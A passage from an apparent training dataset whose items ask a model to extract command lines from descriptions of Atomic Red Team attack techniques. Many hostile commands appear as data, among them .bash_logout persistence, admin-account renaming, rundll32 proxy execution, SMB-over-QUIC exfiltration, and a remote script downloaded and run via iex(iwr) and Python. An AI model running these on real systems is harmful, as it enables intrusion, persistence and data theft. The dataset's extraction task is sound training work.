(...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might manipulate the .bash_logout file to execute commands when a user logs out. This can be demonstrated by running these commands: useradd --create-home --shell /bin/bash art\nsu -l art -c \"echo 'echo \\\"Atomic Red Team was here... T1546.004\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\"",
    "output": "{\"command_list\": [\"useradd --create-home --shell /bin/bash art\\nsu -l art -c \\\"echo 'echo \\\\\\\"Atomic Red Team was here... T1546.004\\\\\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerView's ShareFinder can identify non-standard shares when you run this command: Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nInvoke-ShareFinder #{parameters}\n",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerView.ps1\\\"\\nInvoke-ShareFinder #{parameters}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To manipulate the admin account name, use the following command: $x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n    if($member -like \"*Administrator*\") {\n        $account = $member.Name.Split(\"\\\\\")[-1] # strip computername\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\n        Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n        Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n        Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n        }\n    }",
    "output": "{\"command_list\": [\"$x = Get-Random -Minimum 2 -Maximum 9999\\n$y = Get-Random -Minimum 2 -Maximum 9999\\n$z = Get-Random -Minimum 2 -Maximum 9999\\n$w = Get-Random -Minimum 2 -Maximum 9999\\nWrite-Host HaHa_$x$y$z\\n\\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \\\"User\\\" -and $_.PrincipalSource -match \\\"Local\\\"} | Select Name\\n\\nforeach($member in $fmm) {\\n    if($member -like \\\"*Administrator*\\\") {\\n        $account = $member.Name.Split(\\\"\\\\\\\")[-1] # strip computername\\\\\\n        $originalDescription = (Get-LocalUser -Name $account).Description\\n        Set-LocalUser -Name $account -Description \\\"atr:$account;$originalDescription\\\".Substring(0,48) # Keep original name in description\\n        Rename-LocalUser -Name $account -NewName \\\"HaHa_$x$y$z\\\" # Required due to length limitation\\n        Write-Host \\\"Successfully Renamed $account Account on \\\" $Env:COMPUTERNAME\\n        }\\n    }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Proxy execution of an executable is achieved via the command: rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}",
    "output": "{\"command_list\": [\"rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an attacker exfiltrating data over SMB over QUIC, use the following command sequence: NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK\ncopy '#{local_file}' '*:\\'",
    "output": "{\"command_list\": [\"NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK\\ncopy '#{local_file}' '*:\\\\'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script can be downloaded and executed locally via this Python command:\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\n$which_python -c 'import requests;import os;url = \"#{script_url}\";malicious_command = \"#{executor} #{payload_file_name} #{script_args}\";session = requests.session();source = session.get(url).content;fd = open(\"#{payload_file_name}\", \"wb+\");fd.write(source);fd.close();os.system(malicious_command)'",
    "output": "{\"command_list\": [\"which_python=$(which python || which python3 || which python3.9 || which python2)\\n$which_python -c 'import requests;import os;url = \\\"#{script_url}\\\";malicious_command = \\\"#{executor} #{payload_file_name} #{script_args}\\\";session = requests.session();source = session.get(url).content;fd = open(\\\"#{payload_file_name}\\\", \\\"wb+\\\");fd.write(source);fd.close();os.system(malicious_command)'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following PowerShell command spawns a process as a child of the initial svchost.exe process it finds: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 